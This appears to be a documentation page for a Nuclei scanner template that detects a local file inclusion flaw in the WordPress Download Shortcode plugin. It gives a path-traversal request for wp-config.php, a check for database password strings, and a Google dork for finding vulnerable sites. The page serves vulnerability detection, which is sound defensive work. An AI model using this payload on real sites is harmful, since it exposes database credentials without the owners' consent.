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WordPress Download Shortcode 0.2.3 - Local File Inclusion

ID: shortcode-lfi

Severity: high

Author: dhiyaneshDK

Tags: lfi,shortcode,wp,packetstorm,wordpress,wp-plugin

Description

Section titled “Description”

WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected.

YAML Source

Section titled “YAML Source”
id: shortcode-lfi


info:
  name: WordPress Download Shortcode 0.2.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: WordPress Download Shortcode 0.2.3 is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Prior versions may also be affected.
  reference:
    - https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:halulu:simple-download-button-shortcode:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 1
    google-query: inurl:wp/wp-content/force-download.php
    product: simple-download-button-shortcode
    vendor: halulu
  tags: lfi,shortcode,wp,packetstorm,wordpress,wp-plugin


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/force-download.php?file=../wp-config.php'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402204d236ab538265b4fc1f6da30109cd56a3171ce7c8977c8b574cb79ab548b125902200274584fd1809eba2a1fd95ae8c396993887a9ccf84c8f18dfe4c7f2765ebe0d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/shortcode-lfi.yaml"

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